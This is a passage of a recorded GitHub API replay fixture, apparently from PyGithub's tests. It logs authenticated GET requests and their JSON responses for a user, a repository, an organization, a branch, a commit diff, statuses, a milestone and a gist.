'bd7ef47e-9e8f-47b2-8367-f5d1185f675d'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1471'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":17,"followers":28,"following":40,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-09-06T12:51:22Z","public_gists":5,"total_private_repos":4,"owned_private_repos":4,"disk_usage":19212,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6,"site_admin":false} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4894'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8834e1c1-f4f5-4da8-a92e-4b985517e4fd'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4644'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:02 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-09-06T12:41:05Z","pushed_at":"2013-09-06T12:41:05Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":820,"watchers_count":256,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":76,"mirror_url":null,"open_issues_count":15,"forks":76,"open_issues":15,"watchers":256,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":76} https GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4893'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'aadd8ce1-31df-4c38-b3d9-33ba75cfaf08'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1030'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 23 Jan 2013 12:15:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"99d8ce990ccf1acbb3508bd20d9883e4"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:03 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"login":"BeaverSoftware","id":1424031,"url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://0.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https%3A%2F%2Fidenticons.github.com%2Fde8dec416975d0a85845b1b88385b9d5.png","name":null,"company":null,"blog":null,"location":"Paris, France","email":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/BeaverSoftware","created_at":"2012-02-09T19:20:12Z","updated_at":"2013-01-23T12:15:22Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":84,"collaborators":0,"billing_email":"BeaverSoftware@vincent-jacques.net","plan":{"name":"free","space":307200,"private_repos":0}} https GET api.github.com None /repos/jacquev6/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4892'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '43800e7e-e879-402b-8701-255c06ec7c33'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '3317'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"4363de8c7d91e18a17cec5a495ab091a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:04 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"name":"master","commit":{"sha":"ed781f8b1b96e1d2a342d36ca53114ea28862fa8","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T16:39:22Z"},"message":"Fix date of 1.18.0","tree":{"sha":"e90c43164378222f04883c0f6547102df818d1ef","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e90c43164378222f04883c0f6547102df818d1ef"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","html_url":"https://github.com/jacquev6/PyGithub/commit/ed781f8b1b96e1d2a342d36ca53114ea28862fa8","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed781f8b1b96e1d2a342d36ca53114ea28862fa8/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"2c4e3cbc24581c214f44682bfc3e7f438bae127a","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c4e3cbc24581c214f44682bfc3e7f438bae127a","html_url":"https://github.com/jacquev6/PyGithub/commit/2c4e3cbc24581c214f44682bfc3e7f438bae127a"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/master","html":"https://github.com/jacquev6/PyGithub/tree/master"}} https GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4891'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '223c6b24-a4ca-4539-8d78-38adeb061554'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '5275'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 09 May 2012 16:22:33 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"91582e2dc24ad5461e61062c01b32969"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:05 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"message":"Remove completion functions from GitAuthor","tree":{"sha":"4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","html_url":"https://github.com/jacquev6/PyGithub/commit/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae"}],"stats":{"total":20,"additions":0,"deletions":20},"files":[{"sha":"ca6a3c616fc1367b6d01d04a7cf6ee27cf216f26","filename":"github/GithubObjects/GitAuthor.py","status":"modified","additions":0,"deletions":20,"changes":20,"blob_url":"https://github.com/jacquev6/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/GithubObjects/GitAuthor.py?ref=1292bf0e22c796e91cc3d6e24b544aece8c21f2a","patch":"@@ -14,22 +14,17 @@ def __init__( self, requester, attributes, lazy ):\n self.__completed = False\n self.__initAttributes()\n self.__useAttributes( attributes )\n- if not lazy:\n- self.__complete()\n \n @property\n def date( self ):\n- self.__completeIfNeeded( self.__date )\n return self.__date\n \n @property\n def email( self ):\n- self.__completeIfNeeded( self.__email )\n return self.__email\n \n @property\n def name( self ):\n- self.__completeIfNeeded( self.__name )\n return self.__name\n \n def __initAttributes( self ):\n@@ -37,21 +32,6 @@ def __initAttributes( self ):\n self.__email = None\n self.__name = None\n \n- def __completeIfNeeded( self, testedAttribute ):\n- if not self.__completed and testedAttribute is None:\n- self.__complete()\n-\n- # @todo Do not generate __complete if type has no url attribute\n- def __complete( self ):\n- status, headers, data = self.__requester.request(\n- \"GET\",\n- self.__url,\n- None,\n- None\n- )\n- self.__useAttributes( data )\n- self.__completed = True\n-\n def __useAttributes( self, attributes ):\n #@todo No need to check if attribute is in attributes when attribute is mandatory\n if \"date\" in attributes and attributes[ \"date\" ] is not None:"}]} https GET api.github.com None /repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4890'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'bfc3ae14-6a54-4607-9d33-e51833d38736'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '2539'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"97c44c9e1c063b88767ef99e812a077b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:06 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","id":277040,"state":"success","description":"Status successfully created by PyGithub","target_url":"https://github.com/jacquev6/PyGithub/issues/67","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2012-09-08T11:30:56Z","updated_at":"2012-09-08T11:30:56Z"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","id":277031,"state":"pending","description":null,"target_url":null,"creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2012-09-08T11:27:12Z","updated_at":"2012-09-08T11:27:12Z"}] https GET api.github.com None /repos/jacquev6/PyGithub/milestones/17 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4889'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '77d21e66-086b-4a25-a708-948a4c057bf8'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1338'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17/labels","id":215837,"number":17,"title":"Version 1.9.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2012-11-20T07:36:46Z","updated_at":"2012-11-20T18:42:30Z","due_on":null} https GET api.github.com None /gists/149016 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4888'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '9a8fb974-29df-453c-a56c-0da8b8ce072c'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '32105'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 13:04:59 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"1aaa6053c05e25abbc1703b90bd409b9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:09 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/gists/149016","forks_url":"https://api.github.com/gists/149016/forks","commits_url":"https://api.github.com/gists/149016/commits","id":"149016","git_pull_url":"https://gist.github.com/149016.git","git_push_url":"https://gist.github.com/149016.git","html_url":"https://gist.github.com/149016","files":{".gitignore":{"filename":".gitignore","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/149016/e056704ebab0fbcd7bf937169b4057d378d09cf8/.gitignore","size":145,"content":"*.aux\n*.glo\n*.idx\n*.log\n*.toc\n*.ist\n*.acn\n*.acr\n*.alg\n*.bbl\n*.blg\n*.dvi\n*.glg\n*.gls\n*.ilg\n*.ind\n*.lof\n*.lot\n*.maf\n*.mtc\n*.mtc1\n*.out\n*.synctex.gz"}},"public":true,"created_at":"2009-07-17T11:37:42Z","updated_at":"2013-09-06T13:04:59Z","description":"Git: .gitignore file for LaTeX projects","comments":18,"user":{"login":"kogakure","id":5535,"avatar_url":"https://0.gravatar.com/avatar/b53f98d49e275e8387897de02c92288d?d=https%3A%2F%2Fidenticons.github.com%2F7ec69dd44416c46745f6edd947b470cd.png","gravatar_id":"b53f98d49e275e8387897de02c92288d","url":"https://api.github.com/users/kogakure","html_url":"https://github.com/kogakure","followers_url":"https://api.github.com/users/kogakure/followers","following_url":"https://api.github.com/users/kogakure/following{/other_user}","gists_url":"https://api.github.com/users/kogakure/gists{/gist_id}","starred_url":"https://api.github.com/users/kogakure/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kogakure/subscriptions","organizations_url":"https://api.github.com/users/kogakure/orgs","repos_url":"https://api.github.com/users/kogakure/repos","events_url":"https://api.github.com/users/kogakure/events{/privacy}","received_events_url":"https://api.github.com/users/kogakure/received_events","type":"User"},"comments_url":"https://api.github.com/gists/149016/comments","forks":[{"url":"https://api.github.com/gists/452042","user":{"login":"cflewis","id":43708,"avatar_url":"https://2.gravatar.com/avatar/5f986018993d9f078927fe29ee912cf2?d=https%3A%2F%2Fidenticons.github.com%2F287915711d06ce6d90e2c18e1d89d3a6.png","gravatar_id":"5f986018993d9f078927fe29ee912cf2","url":"https://api.github.com/users/cflewis","html_url":"https://github.com/cflewis","followers_url":"https://api.github.com/users/cflewis/followers","following_url":"https://api.github.com/users/cflewis/following{/other_user}","gists_url":"https://api.github.com/users/cflewis/gists{/gist_id}","starred_url":"https://api.github.com/users/cflewis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cflewis/subscriptions","organizations_url":"https://api.github.com/users/cflewis/orgs","repos_url":"https://api.github.com/users/cflewis/repos","events_url":"https://api.github.com/users/cflewis/events{/privacy}","received_events_url":"https://api.github.com/users/cflewis/received_events","type":"User"},"id":"452042","created_at":"2010-06-24T21:51:00Z","updated_at":"2010-06-24T21:51:25Z"},{"url":"https://api.github.com/gists/871983","user":{"login":"rbochet","id":56806,"avatar_url":"https://2.gravatar.com/avatar/54925726f7c3a2b76028718eddb8522a?d=https%3A%2F%2Fidenticons.github.com%2F8818556ce6ba4bc9302dca9ec1979591.png","gravatar_id":"54925726f7c3a2b76028718eddb8522a","url":"https://api.github.com/users/rbochet","html_url":"https://github.com/rbochet","followers_url":"https://api.github.com/users/rbochet/followers","following_url":"https://api.github.com/users/rbochet/following{/other_user}","gists_url":"https://api.github.com/users/rbochet/gists{/gist_id}","starred_url":"https://api.github.com/users/rbochet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbochet/subscriptions","organizations_url":"https://api.github.com/users/rbochet/orgs","repos_url":"https://api.github.com/users/rbochet/repos","events_url":"https://api.github.com/users/rbochet/events{/privacy}","received_events_url":"https://api.github.com/users/rbochet/received_events","type":"User"},"id":"871983","created_at":"2011-03-